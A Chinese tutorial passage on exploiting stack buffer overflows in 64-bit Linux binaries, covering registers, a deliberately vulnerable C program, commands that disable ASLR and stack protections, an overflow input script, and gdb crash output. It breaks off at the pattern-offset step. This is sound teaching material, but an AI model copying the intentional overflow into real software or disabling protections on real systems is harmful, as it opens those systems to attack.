gdb 查看是否 栈溢出_64位Linux栈溢出教程

0x01

这一系列的文章目的在于快速介绍对缓冲区溢出(在64位下linux二进制程序)弱点的利用。

该系列教程适合人群为:熟悉利用32位二进制程序并想应用它们的知识来利用64位二进制程序。

该教程是长期的零散笔记,整理总结成的结果。

搭建环境

在64位与32位linux平台下编写其二进制的利用程序区别不大,然而我们将遇到一些陷阱,学习这种技术最好的方法是实践它,因此我鼓励你跟着教程一起实践。

我将在Unbuntu14.10下编译有弱点的二进制且编写利用程序,我也将提供预编译的二进制程序。这篇教程将使用如下工具:

64位,你需了解些什么

为了学习这篇教程,你应该知道如下几点:

被扩展到64位的通用寄存器为:RAX,RBX,RCX,RDX,RSI和RDI

被扩展为64位的指令指针,基地址指针,栈指针分别为RIP,RBP和RSP

提供的额外寄存器:R8到R15

8字节宽的指针

在栈上push/pop为8字节宽

地址最大的标准大小为0x00007FFFFFFFFFFF

通过寄存器传递函数的参数

知道更多信息当然很棒,所以尽情google搜寻关于64位架构和汇编编程的信息吧,Wikipedia有一篇简短的文章值得一读.

86ae1966a6636d4c6f2c06fe00b71f66.png

典型的崩栈例子

让我们开始于一个典型的崩栈例子,我们将关闭ASLR,NX,和stack canaries保护机制,因此我们可以专注真实的利用。

有弱点的二进制程序源码如下:

/* Compile: gcc -fno-stack-protector -z execstack classic.c -o classic */

/* Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */

#include

#include

int vuln() {

char buf[80];

int r;

r = read(0, buf, 400);

printf("\nRead %d bytes. buf is %s\n", r, buf);

puts("No shell for you :(");

return 0;

}

int main(int argc, char *argv[]) {

printf("Try to exec /bin/sh");

vuln();

return 0;

}

你也可以在这里获取预编译好的二进制程序

当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。

因此从技术角度看,如果我们将400个字节传递到其中,我们应该可以溢出缓冲区并用我们的payload覆盖RIP,对吗?构造一段exploit内容如下:

#!/usr/bin/env python

buf = ""

buf += "A"*400

f = open("in.txt", "w")

f.write(buf)

这个脚本将创建一个命名为”in.txt”的文件(含有400个“A”字符),我们将典例加载进gdb并将in.txt的内容重定向到典例中,同时我们看看是否可以覆盖RIP:

gdb-peda$ r < in.txt

Try to exec /bin/sh

Read 400 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�

No shell for you :(

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]

RAX: 0x0

RBX: 0x0

RCX: 0x7ffff7b015a0 (<__write_nocancel>:  cmp    rax,0xfffffffffffff001)

RDX: 0x7ffff7dd5a00 --> 0x0

RSI: 0x7ffff7ff5000 ("No shell for you :(\nis ", 'A' "\220, \001\n")

RDI: 0x1

RBP: 0x4141414141414141 ('AAAAAAAA')

RSP: 0x7fffffffe508 ('A' ...)

RIP: 0x40060f (:   ret)

R8 : 0x283a20756f792072 ('r you :(')

R9 : 0x4141414141414141 ('AAAAAAAA')

R10: 0x7fffffffe260 --> 0x0

R11: 0x246

R12: 0x4004d0 (<_start>:    xor    ebp,ebp)

R13: 0x7fffffffe600 ('A' , "|\350\377\377\377\177")

R14: 0x0

R15: 0x0

EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x400604 :  call   0x400480

0x400609 :  mov    eax,0x0

0x40060e :  leave

=> 0x40060f :  ret

0x400610 : push   rbp

0x400611 :   mov    rbp,rsp

0x400614 :   sub    rsp,0x10

0x400618 :   mov    DWORD PTR [rbp-0x4],edi

[------------------------------------stack-------------------------------------]

0000| 0x7fffffffe508 ('A' ...)

0008| 0x7fffffffe510 ('A' ...)

0016| 0x7fffffffe518 ('A' ...)

0024| 0x7fffffffe520 ('A' ...)

0032| 0x7fffffffe528 ('A' ...)

0040| 0x7fffffffe530 ('A' ...)

0048| 0x7fffffffe538 ('A' ...)

0056| 0x7fffffffe540 ('A' ...)

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x000000000040060f in vuln ()

因此程序正如意料中的那样崩掉了,但是毫无意义。因为我们已覆盖的RIP带有一个无效地址,事实上我们没控制到RIP。因为我更早意识到最大地址是0x00007FFFFFFFFFFF。我们可以用一个非标准地址(0x0000414141414141)覆盖RIP(将造成处理器发生异常).为了控制RIP,我们需要用0x0000414141414141覆盖(代替)它,因此真正的目标是找到覆盖了RIP的偏移(带有一个非标准地址)。我们可以使用一种cyclic模板找到这个偏移:

gdb-peda$ pattern_create 400 in.txt

Writing

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值